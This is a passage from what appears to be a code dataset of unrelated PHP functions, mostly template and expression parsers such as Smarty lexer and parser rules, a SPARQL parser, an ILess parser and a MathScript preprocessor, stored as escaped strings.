($result[1] == 'ELSE')) {\n\t\t\t\t$proc_type = PT_FALSE_IF;\n\t\t\t} elseif($proc_type != PT_SILENT_IF) { // ELSE inside non IF process or so\n\t\t\t\t$error_msg = 'Unexpected '.$result[1].' statement '.$proc_type;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t} elseif ($proc_type <= PT_FOR){ // processing of visible contents\n\t\t\tif (!isset($this->result)) $this->result = '';\n\t\t\t\t$matches = array();\n\t\t\t\t$line_is_control = false;\n\n\t\t\t\tif (preg_match_all(PT_COUNTER_TAGS, $line, $matches)){ // We have counter tags inside\n\t\t\t\t\t$replace = array();\n\t\t\t\t\tforeach ($matches[0] as $key => $val){ // process counters\n\t\t\t\t\t\tif ($loop_count >= 0) $replace[$key] = $loop_count + 1;\n\t\t\t\t\t\telse $replace[$key] = '';\n\t\t\t\t\t}\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace'em all\n\t\t\t\t}\n\t\t\t\t// processing variables\n\n\t\t\t\tif (preg_match_all(PT_VARIABLE_TAGS, $line, $matches)){ // Yes! We have some tags inside\n\t\t\t\t\t$replace = array();\n\t\t\t\t\tforeach ($matches[2] as $key => $val){ // go thru the matches\n\t\t\t\t\t\tif (strlen($matches[4][$key])> 0){ // process array variables\n\t\t\t\t\t\t\tif (isset($this->vars[$val]) && is_array($this->vars[$val]) && array_key_exists($matches[4][$key], $this->vars[$val])){\n\t\t\t\t\t\t\t\t\t$replace[$key] = $this->vars[$val][$matches[4][$key]];\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '#')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = htmlspecialchars($replace[$key]); // escape html entries for # tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '+')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace('+', '%20', urlencode($replace[$key])); // url escape for + tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '^')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\\\\", \"\\\\\\\\\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"'\", \"\\\\'\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\r\", \"\\\\r\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\n\", \"\\\\n\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"</script>\", \"</'+'script>\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} elseif (isset($this->vars[$val]) && is_object($this->vars[$val])) {\n\t\t\t\t\t\t\t\t \t$_obj = &$this->vars[$val];\n\t\t\t\t\t\t\t\t\t$_name = $matches[4][$key];\n\t\t\t\t\t\t\t\t\t$replace[$key] = $_obj->$_name;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '#')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = htmlspecialchars($replace[$key]); // escape html entries for # tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '+')\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace('+', '%20', urlencode($replace[$key])); // url escape for + tag\n\t\t\t\t\t\t\t\t\tif ($matches[1][$key] == '^')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\\\\", \"\\\\\\\\\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"'\", \"\\\\'\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\r\", \"\\\\r\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\n\", \"\\\\n\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"</script>\", \"</'+'script>\", $replace[$key]);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif ($this->debug_mode) $this->show_notice($val.$matches[3][$key], 4); // show stupid notice\n\t\t\t\t\t\t\t\t$replace[$key] = ''; // and insert complete emptyness\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else{ // process common variables\n\t\t\t\t\t\t\tif (isset($this->vars[$val]))\n\t\t\t\t\t\t\t\t$replace[$key] = $this->get_var_val($val);\n\t\t\t\t\t\t\telseif (preg_match('/\\\\//', $val))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$v_row = $this->Registry->_internal_get_value($val);\n\t\t\t\t\t\t\t\tif ( ($v_row !== false) && (!$v_row->eof()) ) {\n\t\t\t\t\t\t\t\t\t$out = $v_row->Rows[0]->Fields['value'];\n\t\t\t\t\t\t if ($v_row->Rows[0]->Fields['key_type'] == KEY_TYPE_IMAGE)\n\t\t\t\t\t\t\t\t\t\t$out = $GLOBALS['app']->template_vars['REGISTRY_WEB'] . $v_row->Rows[0]->Fields['id_path'] . '/' . $out;\n\t\t\t\t\t\t\t\t\t$replace[$key] = $out;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t$replace[$key] = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t$replace[$key] = '';\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif ($matches[1][$key] == '#')\n\t\t\t\t\t\t\t\t$replace[$key] = htmlspecialchars($replace[$key]); // escape html entries for # tag\n\t\t\t\t\t\t\tif ($matches[1][$key] == '+')\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace('+', '%20', urlencode($replace[$key])); // url escape for + tag\n\t\t\t\t\t\t\tif ($matches[1][$key] == '^')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\\\\", \"\\\\\\\\\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"'\", \"\\\\'\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\r\", \"\\\\r\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"\\n\", \"\\\\n\", $replace[$key]);\n\t\t\t\t\t\t\t\t$replace[$key] = str_replace(\"</script>\", \"</'+'script>\", $replace[$key]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace'em all\n\t\t\t\t}\n\n\t\t\t\t// processing ternary operators\n\n\t\t\t\tif (preg_match_all(PT_TERNARY_TAGS, $line, $matches)){ // Yes! We have some tags inside\n\t\t\t\t\tforeach ($matches[2] as $key => $val){ // go thru the matches\n\t\t\t\t\t\tif (isset($this->vars[$val])){\n\t\t\t\t\t\t\t$var = (bool)$this->get_var_val($val);\n\t\t\t\t\t\t\tif (strlen($matches[1][$key])> 0) $var = !$var;\n\t\t\t\t\t\t\t$res_num = ($var)?4:6;\n\t\t\t\t\t\t\tif (isset($this->vars[$matches[$res_num][$key]])) {\n\t\t\t\t\t\t\t\t$replace[$key] = $this->get_var_val($matches[$res_num][$key]);\n\t\t\t\t\t\t\t\tif (strlen($matches[$res_num - 1][$key])> 0) $replace[$key] = htmlspecialchars($replace[$key]); // escape html entries\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif ($this->debug_mode) $this->show_notice($res_var, 1);\n\t\t\t\t\t\t\t\t$result[$key] = '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else { // we have tag but haven't got variable\n\t\t\t\t\t\t\tif ($this->debug_mode) $this->show_notice($val, 1); // curse them out in debug mode\n\t\t\t\t\t\t\t$replace[$key] = ''; // and insert pretty nothing\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace'em all\n\t\t\t\t}\n\n\t\t\t\t// processing controls\n\t\t\t\tif (preg_match_all(PT_CONTROL_TAGS, $line, $matches)){ // Yes! This line contains control definition\n\t\t\t\t\t$replace = array();\n\t\t\t\t\tforeach ($matches[1] as $key => $name){ // go through the matches\n\t\t\t\t\t\tif (strlen($matches[3][$key])> 0) $tcontrol = &$GLOBALS['pt_template_factory']->get_object(strtolower($name), strtolower($matches[3][$key])); // here is control with id\n\t\t\t\t\t\telse $tcontrol = &$GLOBALS['pt_template_factory']->get_object(strtolower($name)); // here is control without id\n\t\t\t\t\t\tif (!is_null($tcontrol)){\n\t\t\t\t\t\t\t$tcontrol->parse_vars($matches[5][$key]);\n\t\t\t\t\t\t\tif (!$tcontrol->is_inited)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$tcontrol->on_page_init();\n\t\t\t\t\t\t\t\t$tcontrol->is_inited = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$replace[$key] = $tcontrol->process($loop_count);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t$replace[$key] = '';\n\t\t\t\t\t}\n\t\t\t\t\t$line = str_replace($matches[0], $replace, $line); // replace control statements with control results\n\t\t\t\t}\n\n\t\t\t\t// compress and delete blank lines\n\t\t\t\t$line = preg_replace('/[\\r\\n]*$/', '', trim($line));\n\t\t\t\tif (strlen($line)> 0) $this->result .= $line . \"\\n\";\n\t\t\t}\n\t\t\t$curr_pos++;\n\t\t}\n\n// And what we have here?\n\t\tif (!isset($error_msg) && ($proc_type != PT_ROOT) && !$succ_mode) $error_msg = 'Unexpected end of file'; // invalid template - show error\n\t\tif (isset($error_msg)){\n\t\t\t$error_txt = 'Template parsing error on line '.($curr_pos + 1);\n\t\t\tif (isset($this->filename))\t$error_txt .= ' of file \"'.$this->filename.'\"';\n\t\t\t$error_txt .= ' - '.$error_msg;\n\t\t\tsystem_die($error_txt, 'Template->parse'); // invalid template - show error\n\t\t}\n\t\tif ($proc_type == PT_ROOT)\n\t\t\tif (!isset($this->result))\n\t\t\t\t$this->result = ''; // probably there were one big false IF?\n\t\treturn $curr_pos; // HURRA! HURRA! This one is successfully completed!\n\t}", "function yy_r64()\n {\n $this->_retvalue = '$this->smarty->getStreamVariable(\\'' . $this->yystack[$this->yyidx + - 2]->minor . '://' . $this->yystack[$this->yyidx + 0]->minor . '\\')';\n }", "public function parse($braket = 0)\n\t{\n\t\t/**\n\t\t * @var Expression\n\t\t */\n\t\t$expression = false;\n\t\t$prev_char = $char = \"\";\n\t\t$buffer = \"\";\n\t\twhile ($this->index < $this->chars_count) {\n\t\t $prev_char = $char;\n\t\t $char = $this->chars[$this->index];\n\t switch ($this->state) {\n\t case self::WAIT_OPERAND:\n\t if ($char !== ' ') {\n\t \t if ($char === '\"') {\n\t \t $this->state = self::DOUBLE_QUOTE;\n\t \t $this->index++; \n\t \t } else {\n\t $this->state = self::OPERAND;\n\t \t }\n\t }\n\t break;\n\t case self::OPERAND:\n\t \t $is_op = $this->isOperation($char);\n\t \t if ($char === '(') {\n\t \t \t $this->index++;\t\n\t \t $operand = $this->parse(true);\n\t \t $operand->block(true);\n\t \t \t if ($expression) {\n\t \t \t $expression->addExpression($operand);\n\t \t \t } else {\n\t \t \t $expression = $operand;\n\t \t \t }\n \t \t \t $this->state = self::WAIT_OPERATION;\n \t \t \t $buffer = '';\n\t \t } elseif ($braket && $char == ')') {\n\t \t \t $this->index++;\n\t \t \t return $expression;\n\t \t } elseif ($char === ' ' || $is_op) {\n\t \t \t if (is_numeric($buffer)) {\n\t \t \t $operand = new ExpressionValue($buffer);\n\t \t \t } else {\n\t \t \t \t $operand = new ExpressionField($buffer);\n\t \t \t }\n\t \t \t if ($expression) {\n\t \t \t $expression->addExpression($operand);\n\t \t \t } else {\n\t \t \t $expression = $operand;\n\t \t \t }\n\t \t \t if ($is_op) {\n\t \t \t \t\tif (!$buffer) {\n\t \t \t \t\t\tthrow new Exception(\"Parse error on '\".$op.\"'\");\n\t \t \t \t\t}\n\t \t \t \t\t$this->state = self::OPERATION;\n\t \t \t \t\t$buffer = $char;\n\t \t \t } else {\n\t \t \t \t\t$this->state = self::WAIT_OPERATION;\n\t \t \t \t\t$buffer = '';\n\t \t \t }\n\t \t } else {\n\t \t $buffer .= $char;\n\t \t }\n\t \t $this->index++;\n\t \t break;\n\t case self::WAIT_OPERATION:\n\t \t if ($char !== ' ') {\n\t \t $this->state = self::OPERATION;\n\t \t } else {\n\t \t $this->index++;\n\t \t }\n\t \t break;\n\t case self::PARAM:\n\t \t\t\n\t \t\tbreak;\n\t case self::OPERATION: \n\t \t if ($char === ' ') {\n\t \t $expression = $expression->addOp($buffer);\n\t \t $this->state = self::WAIT_OPERAND;\n\t \t $buffer = \"\";\n\t \t } else {\n\t \t \t $buffer .= $char;\n\t \t }\n\t \t $this->index++;\n\t break;\n\t case self::DOUBLE_QUOTE:\n\t \t if ($char == '\"' && $prev_char !== \"\\\\\") {\n\t \t \t $operand = new ExpressionValue($buffer, '\"');\n\t \t \t if ($expression) {\n\t \t \t $expression->addExpression($operand);\n\t \t \t } else {\n\t \t \t \t $expression = $operand;\n\t \t \t }\n\t \t \t $this->state = self::WAIT_OPERATION;\n\t \t \t $buffer = \"\";\n\t \t } else {\n\t \t $buffer .= $char;\n\t \t }\n\t \t $this->index++;\n\t \t break;\n\t }\t\t\n\t\t}\n\t\treturn $expression;\n\t}", "function yy_r169()\n {\n if (empty($this->db_quote_code_buffer)) {\n $this->_retvalue = '(string)$_scope->_tpl_vars->' . substr($this->yystack[$this->yyidx + 0]->minor, 1) . '->value';\n } else {\n $this->db_quote_code_buffer .= 'echo (string)$_scope->_tpl_vars->' . substr($this->yystack[$this->yyidx + 0]->minor, 1) . '->value;';\n $this->_retvalue = false;\n }\n }", "protected function parseOperand()\n {\n $negate = false;\n if ($this->peekChar('@', 1) || $this->peekChar('(', 1)) {\n $negate = $this->matchChar('-');\n }\n\n $o = $this->matchFuncs(array(\n 'parseSubExpression',\n 'parseEntitiesDimension',\n 'parseEntitiesColor',\n 'parseEntitiesVariable',\n 'parseEntitiesCall'\n ));\n\n if ($negate) {\n $o->parensInOp = true;\n $o = new ILess_Node_Negative($o);\n }\n\n return $o;\n }", "public function parse($template, $vars)\n {\n $old_TMPL = FALSE;\n\n if( !isset(ee()->TMPL))\n {\n ee()->load->library('template');\n ee()->TMPL = new EE_Template();\n }\n else\n {\n $old_TMPL = ee()->TMPL;\n }\n\n $template = ee()->functions->prep_conditionals($template, array($vars));\n $template = ee()->TMPL->parse_variables($template, array($vars));\n\n ee()->TMPL->template = '';\n ee()->TMPL->parse($template);\n ee()->TMPL->template = ee()->TMPL->parse_globals(ee()->TMPL->template);\n\n $template = ee()->TMPL->template;\n\n if($old_TMPL)\n {\n ee()->TMPL = $old_TMPL;\n }\n\n return $template;\n }", "function yy_r55(){$this->_retvalue = ' & '; }", "public function expressionFunction();", "function yy_r8()\n {\n if ($this->php_handling == Smarty::PHP_PASSTHRU) {\n $this->compiler->template_code->php(\"echo '<?php';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_QUOTE) {\n $this->compiler->template_code->php(\"echo '&lt;?php';\\n\");\n } elseif ($this->php_handling == Smarty::PHP_ALLOW) {\n if (! ($this->compiler->context->smarty instanceof Smarty_Smarty2BC)) {\n $this->compiler->error(self::Err3);\n }\n $this->text_is_php = true;\n }\n }", "function yy_r5(){if ($this->sec_obj->php_handling == SMARTY_PHP_PASSTHRU) {\r\n $this->_retvalue = $this->cacher->processNocacheCode(\"<?php echo htmlspecialchars('<?php\".str_replace(\"'\",\"\\'\",$this->yystack[$this->yyidx + -1]->minor).\"?>', ENT_QUOTES);?>\\n\", $this->compiler, false);\r\n } elseif ($this->sec_obj->php_handling == SMARTY_PHP_QUOTE) {\r\n $this->_retvalue = $this->cacher->processNocacheCode(htmlspecialchars('<?php'.$this->yystack[$this->yyidx + -1]->minor.'?>', ENT_QUOTES), $this->compiler, false);\r\n }elseif ($this->sec_obj->php_handling == SMARTY_PHP_ALLOW) {\r\n $this->_retvalue = $this->cacher->processNocacheCode('<?php'.$this->yystack[$this->yyidx + -1]->minor.'?>', $this->compiler, true);\r\n }elseif ($this->sec_obj->php_handling == SMARTY_PHP_REMOVE) {\r\n $this->_retvalue = '';\r\n }\r\n }", "public function evaluateExpression($expression)\n {\n if ($this->getTalesMode() === 'php') {\n return PHPTAL_Php_TalesInternal::php($expression);\n }\n return PHPTAL_Php_TalesInternal::compileToPHPExpressions($expression, false);\n }", "function yy_r148(){ $this->_retvalue = new Stmt\\Expr('expr', $this->yystack[$this->yyidx + -1]->minor); }", "function yy_r140()\n {\n if ($this->security) {\n $this->compiler->error(self::Err2);\n }\n $this->prefix_number ++;\n $code = new Smarty_Compiler_Code();\n $code->iniTagCode($this->compiler);\n $code->php(\"\\$_tmp{$this->prefix_number} = \" . $this->compiler->compileVariable(\"'\" . $this->yystack[$this->yyidx + - 3]->minor . \"'\") . ';')->newline();\n $this->compiler->prefix_code[] = $code;\n $this->_retvalue = '$_tmp' . $this->prefix_number . '(' . implode(',', $this->yystack[$this->yyidx + - 1]->minor) . ')';\n }", "function yy_r174(){ $this->_retvalue = new Stmt\\Expr('expr', $this->yystack[$this->yyidx + 0]->minor); }", "function parsingSql()\r\n\t{\r\n\t\tif ( preg_match(\"/{(.*?)}/\",$this->sql,$match) )\r\n\t\t{\r\n\t\t\t$this->valueToReplace = $match[0]; // {blabla}\r\n\t\t\t$this->fieldToSelect = $match[1]; // nama field yang akan di cek\r\n\t\t}else{\r\n\t\t\tdie(\"SQL query yg anda masukan harus mengandung {}\");\r\n\t\t\treturn ;\r\n\t\t}\r\n\t}", "private function compileLoop($expression)\n {\n $phpCode = 'foreach( $GLOBALS[\\'wp_query\\']->posts as $post ): setup_the_post($post);';\n if ($expression) {\n preg_match('/(.*) as (.*)/', $expression, $matches);\n $afterAs = explode('=>', preg_replace('/\\s+/', '', $matches[2]));\n $post = count($afterAs) === 2 ? $afterAs[1] : $afterAs[0];\n $post .= '->wpPost';\n $phpCode = \"foreach({$expression}): setup_the_post( $post );\";\n }\n\n return \"<?php $phpCode ?>\";\n }", "public function expression(){\n try {\n // Sparql11query.g:375:3: ( conditionalOrExpression ) \n // Sparql11query.g:376:3: conditionalOrExpression \n {\n $this->pushFollow(self::$FOLLOW_conditionalOrExpression_in_expression1283);\n $this->conditionalOrExpression();\n\n $this->state->_fsp--;\n\n\n }\n\n }\n catch (RecognitionException $re) {\n $this->reportError($re);\n $this->recover($this->input,$re);\n }\n catch(Exception $e) {\n throw $e;\n }\n \n return ;\n }", "public function primaryExpression(){\n try {\n // Sparql11query.g:459:3: ( brackettedExpression | builtInCall | iriRefOrFunction | rdfLiteral | numericLiteral | booleanLiteral | variable ) \n $alt54=7;\n $LA54 = $this->input->LA(1);\n if($this->getToken('OPEN_BRACE')== $LA54)\n {\n $alt54=1;\n }\n else if($this->getToken('COALESCE')== $LA54||$this->getToken('IF')== $LA54||$this->getToken('STR')== $LA54||$this->getToken('LANG')== $LA54||$this->getToken('LANGMATCHES')== $LA54||$this->getToken('DATATYPE')== $LA54||$this->getToken('BOUND')== $LA54||$this->getToken('SAMETERM')== $LA54||$this->getToken('ISIRI')== $LA54||$this->getToken('ISURI')== $LA54||$this->getToken('ISBLANK')== $LA54||$this->getToken('ISLITERAL')== $LA54||$this->getToken('REGEX')== $LA54)\n {\n $alt54=2;\n }\n else if($this->getToken('IRI_REF')== $LA54||$this->getToken('PNAME_NS')== $LA54||$this->getToken('PNAME_LN')== $LA54)\n {\n $alt54=3;\n }\n else if($this->getToken('STRING_LITERAL1')== $LA54||$this->getToken('STRING_LITERAL2')== $LA54||$this->getToken('STRING_LITERAL_LONG1')== $LA54||$this->getToken('STRING_LITERAL_LONG2')== $LA54)\n {\n $alt54=4;\n }\n else if($this->getToken('INTEGER')== $LA54||$this->getToken('DECIMAL')== $LA54||$this->getToken('DOUBLE')== $LA54||$this->getToken('INTEGER_POSITIVE')== $LA54||$this->getToken('DECIMAL_POSITIVE')== $LA54||$this->getToken('DOUBLE_POSITIVE')== $LA54||$this->getToken('INTEGER_NEGATIVE')== $LA54||$this->getToken('DECIMAL_NEGATIVE')== $LA54||$this->getToken('DOUBLE_NEGATIVE')== $LA54)\n {\n $alt54=5;\n }\n else if($this->getToken('TRUE')== $LA54||$this->getToken('FALSE')== $LA54)\n {\n $alt54=6;\n }\n else if($this->getToken('VAR1')== $LA54||$this->getToken('VAR2')== $LA54)\n {\n $alt54=7;\n }\n else{\n $nvae =\n new NoViableAltException(\"\", 54, 0, $this->input);\n\n throw $nvae;\n }\n\n switch ($alt54) {\n case 1 :\n // Sparql11query.g:460:3: brackettedExpression \n {\n $this->pushFollow(self::$FOLLOW_brackettedExpression_in_primaryExpression1620);\n $this->brackettedExpression();\n\n $this->state->_fsp--;\n\n\n }\n break;\n case 2 :\n // Sparql11query.g:461:5: builtInCall \n {\n $this->pushFollow(self::$FOLLOW_builtInCall_in_primaryExpression1626);\n $this->builtInCall();\n\n $this->state->_fsp--;\n\n\n }\n break;\n case 3 :\n // Sparql11query.g:462:5: iriRefOrFunction \n {\n $this->pushFollow(self::$FOLLOW_iriRefOrFunction_in_primaryExpression1632);\n $this->iriRefOrFunction();\n\n $this->state->_fsp--;\n\n\n }\n break;\n case 4 :\n // Sparql11query.g:463:5: rdfLiteral \n {\n $this->pushFollow(self::$FOLLOW_rdfLiteral_in_primaryExpression1638);\n $this->rdfLiteral();\n\n $this->state->_fsp--;\n\n\n }\n break;\n case 5 :\n // Sparql11query.g:464:5: numericLiteral \n {\n $this->pushFollow(self::$FOLLOW_numericLiteral_in_primaryExpression1644);\n $this->numericLiteral();\n\n $this->state->_fsp--;\n\n\n }\n break;\n case 6 :\n // Sparql11query.g:465:5: booleanLiteral \n {\n $this->pushFollow(self::$FOLLOW_booleanLiteral_in_primaryExpression1650);\n $this->booleanLiteral();\n\n $this->state->_fsp--;\n\n\n }\n break;\n case 7 :\n // Sparql11query.g:466:5: variable \n {\n $this->pushFollow(self::$FOLLOW_variable_in_primaryExpression1656);\n $this->variable();\n\n $this->state->_fsp--;\n\n\n }\n break;\n\n }\n }\n catch (RecognitionException $re) {\n $this->reportError($re);\n $this->recover($this->input,$re);\n }\n catch(Exception $e) {\n throw $e;\n }\n \n return ;\n }", "function yy_r107()\n {\n $this->_retvalue = '$_scope->_tpl_vars->' . trim($this->yystack[$this->yyidx + - 2]->minor, \"'\") . '->' . $this->yystack[$this->yyidx + 0]->minor;\n }", "public function getExpression()\n {\n if (array_key_exists(\"expression\", $this->_propDict)) {\n return $this->_propDict[\"expression\"];\n } else {\n return null;\n }\n }", "protected function parseXTemplate(XTemplate $xtpl){\n\t\t//$this->fillInput(\"nombre\", $this->getInitialText() );\n\t\t\n\t\tparent::parseXTemplate($xtpl);\n\t\t\n\t\t$xtpl->assign(\"lbl_mes\", $this->localize(\"criteria.mes\") );\n\t\t\n\t\t//$xtpl->assign(\"linkSeleccionar\", LinkBuilder::getPageUrl( \"HistoriaClinica\") );\n\t\t//$xtpl->assign(\"linkSeleccionar\", LinkBuilder::getPageUrl( \"InformeSemanalModificar\") );\n\t\t\n\t\t\n\t}", "public function getExpression()\n {\n return $this->expression;\n }", "public function getExpression()\n {\n return $this->expression;\n }", "function smarty_function_escape_special_chars( $string )\r\n{\r\n if ( !is_array( $string ) )\r\n {\r\n $string = preg_replace( \"!&(#?\\\\w+);!\", \"%%%SMARTY_START%%%\\\\1%%%SMARTY_END%%%\", $string );\r\n $string = htmlspecialchars( $string );\r\n $string = str_replace( array( \"%%%SMARTY_START%%%\", \"%%%SMARTY_END%%%\" ), array( \"&\", \";\" ), $string );\r\n }\r\n return $string;\r\n}", "private function parse()\n\t{\n\t\t// parse datagrids\n\t\tif(!empty($this->datagrids)) $this->tpl->assign('datagrids', $this->datagrids);\n\t}", "function yy_r143(){$this->_retvalue = '<='; }", "function yy_r147(){$this->_retvalue = '&&'; }", "protected function parseValue()\n {\n $expressions = array();\n while ($e = $this->parseExpression()) {\n $expressions[] = $e;\n if (!$this->matchChar(',')) {\n break;\n }\n }\n if (count($expressions) > 0) {\n return new ILess_Node_Value($expressions);\n }\n }", "function yy_r107(){if (!$this->template->security || $this->smarty->security_handler->isTrustedPhpFunction($this->yystack[$this->yyidx + -3]->minor, $this->compiler)) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t if ($this->yystack[$this->yyidx + -3]->minor == 'isset' || $this->yystack[$this->yyidx + -3]->minor == 'empty' || $this->yystack[$this->yyidx + -3]->minor == 'array' || is_callable($this->yystack[$this->yyidx + -3]->minor)) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $this->_retvalue = $this->yystack[$this->yyidx + -3]->minor . \"(\". $this->yystack[$this->yyidx + -1]->minor .\")\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t } else {\r\n $this->compiler->trigger_template_error (\"unknown function \\\"\" . $this->yystack[$this->yyidx + -3]->minor . \"\\\"\");\r\n }\r\n } }", "private function preprocess($expr, $allow_tcl_calls = true)\n {\n $prefix = '';\n $suffix = '';\n\n //determine if the given statement is a TCL-like function call\n $tcl_call = preg_match('#^(\\$?'.MATHSCRIPT_IDENTIFIER.')\\s+(.+)*$#ss', $expr, $matches) && $allow_tcl_calls;\n\n //if the expression is a TCL-style function call, process it\n if($tcl_call)\n {\n //extract the function's name\n $function_name = $matches[1];\n\n //if the function name starts with a dollar sign, it's a TCL-style variable\n if(substr($function_name, 0, 1) == '$')\n {\n //the TCL-style variable name is equivalent to the function's \"name\" without the leading $\n $var_name = substr($function_name, 1);\n\n //if the variable exists, set the function name to its value\n if(array_key_exists($var_name, $this->vars))\n $function_name = $this->vars[$var_name];\n }\n\n //if this represents a valid function, handle it\n if($this->extensions->function_exists($function_name))\n {\n //extract the function name, and set the pre/suffix to parenthesis\n $prefix = $function_name.'(';\n $suffix = ')';\n\n //convert the expression to a standard MathScript function\n $expr = trim($matches[2]);\n }\n //otherwise, it's not a real TCL call\n else\n {\n $tcl_call = false;\n }\n\n }\n\n //initialize our flags: we'll start off outside of a quote/curly string, and _not_ at the start of a block of whitespace\n $quote = false;\n $curly_depth = 0;\n $paren_depth = 0;\n $last_was_space = false;\n\n //start a \"buffer\" for the new expression\n $new_expr = '';\n\n //for each charcter in the input string\n $expr_length = strlen($expr);\n for($i = 0; $i < $expr_length; ++$i)\n {\n //extract a single character from the string\n $char = substr($expr, $i, 1);\n\n //if we have the escape character\n if($char == '\\\\')\n {\n //push it, and the next character, directly onto the string \n $new_expr .= substr($expr, i, 2);\n\n //and skip the next character\n ++$i;\n continue;\n }\n\n //if we've hit a quote, toggle quotes\n if($char == '\"')\n $quote = !$quote;\n\n //if we've hit an open-curly, increase the curly-depth\n if($char == '{')\n ++$curly_depth;\n\n //if we've hit a close-curly, decrease the curly-depth\n if($char == '}')\n --$curly_depth;\n\n //if we've hit an open-paren, increase the paren-depth\n if($char == '(')\n ++$paren_depth;\n\n //if we've hit a close-paren, increase the paren-depth\n if($char == ')')\n --$paren_depth;\n\n //if we are not inside of a \" or { string, preprocess\n if($curly_depth == 0)\n {\n //get the rest of the expression, starting at $i\n $rest_of_expr = substr($expr, $i);\n\n //if we've run into a TCL-style variable, in ${identifier} form, require the entire contents of {} to match\n if(preg_match('#^\\$\\{('.MATHSCRIPT_IDENTIFIER.')\\}#', $rest_of_expr, $matches))\n {\n //if we have a variable with that exact name, \n if(array_key_exists($matches[1], $this->vars))\n {\n //append the _value_ of the new variable\n $new_expr .= $this->vars[$matches[1]];\n\n //and continue past the end of the varaible\n $i += strlen($matches[1]) + 2;\n continue;\n }\n // if the varaible does't exist, throw an error\n else\n {\n $this->trigger('Tried to $-reference an undefined variable \"'.$matches[1].'\".');\n return '';\n }\n }\n\n //if we've run into a TCL-style variable, in $identifier form\n elseif(preg_match('#^\\$('.MATHSCRIPT_IDENTIFIER.')#', $rest_of_expr, $matches))\n {\n //get the longest matching varaible\n $var_name = $this->longest_matching_varaible($matches[1]);\n\n //if the variable is defined, replace it with its value\n if($var_name !== null)\n {\n //add the variable's _value_ to the string\n $new_expr .= $this->vars[$var_name];\n\n //and continue past the end of the variable\n $i += strlen($var_name);\n continue;\n }\n }\n //if we're parsing a tcl-style call, and we've a space\n elseif(self::is_preprocessor_whitespace($char) && $tcl_call && !$quote && $paren_depth == 0) \n {\n //if this is the first space, add a comma before it\n if(!$last_was_space)\n $new_expr .= ',';\n\n //and set that the last character was a space\n $last_was_space = true;\n }\n //otherwise, indicate that we haven't hit whitespace (that we care about)\n else\n {\n $last_was_space = false;\n }\n \n }\n\n //push the character directly to the string\n $new_expr .= $char;\n }\n\n //return the new expression, surrounded by the prefix and suffix\n return $prefix.$new_expr.$suffix;\n }", "static function evalExpression(\n\t $expression,\n\t $params = array())\n\t{\n\t\tif (is_array($params)) {\n\t\t\textract($params);\n\t\t}\n\t\teval('$value = ' . $expression . ';');\n\t\treturn $value;\n\t}", "function yy_r105(){ $this->_retvalue = '->{\\''.$this->yystack[$this->yyidx + -4]->minor.'\\'.'.$this->yystack[$this->yyidx + -2]->minor.$this->yystack[$this->yyidx + 0]->minor.'}'; }", "function yy_r171(){ $this->_retvalue = new Stmt\\Expr('value', trim($this->yystack[$this->yyidx + 0]->minor, \"'\\\"\"), 2); }", "function smarty_function_op($params,&$smarty)\n{\n\n require_once $smarty->_get_plugin_filepath('function', 'html_options');\n $class=$params[\"class\"];\n if($class==\"ltgteq\")\n {\n 